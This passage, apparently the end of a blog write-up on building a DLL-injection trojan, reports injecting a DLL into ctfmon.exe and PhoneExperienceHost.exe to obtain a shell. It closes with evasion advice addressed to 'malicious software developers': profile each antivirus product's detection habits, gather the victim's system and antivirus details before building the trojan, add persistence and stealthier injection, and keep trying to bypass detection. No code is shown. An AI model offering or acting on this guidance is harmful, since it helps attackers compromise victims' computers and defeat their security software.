If we run as an administrator privilege, the Windows Defender will scan it automatically.
- Try another process we inject in, in this case I try to inject the DLL file in ctfmon.exe process and save the DLL file in administator downloads directory.
In this case, injection in PhoneExperienceHost.exe.
And we get the final shell successfully.
Summary
- As a malicious software developer, we have to know the trait behaviors in different Anti-Virus softwares. Different Anti-Virus software have their own detect ways. For example, windows defender will pay more attention in sensitive directories (public diectory etc.. ). Huorong is better at static dection in China mainland Anti-Virus softwares.
- DLL injection is relatively easy to realize, but at the same time, it is relatively easy to be detected. So make sure you get the system important information in victim machine ( System verion, Anti-Virus etc…) before you develop the trojan.
- This program still needs to be improved in many aspects, such as communication encryption, more hidden way injection, privilege persistence etc.
- When your file being dectected just trying harder to bypass.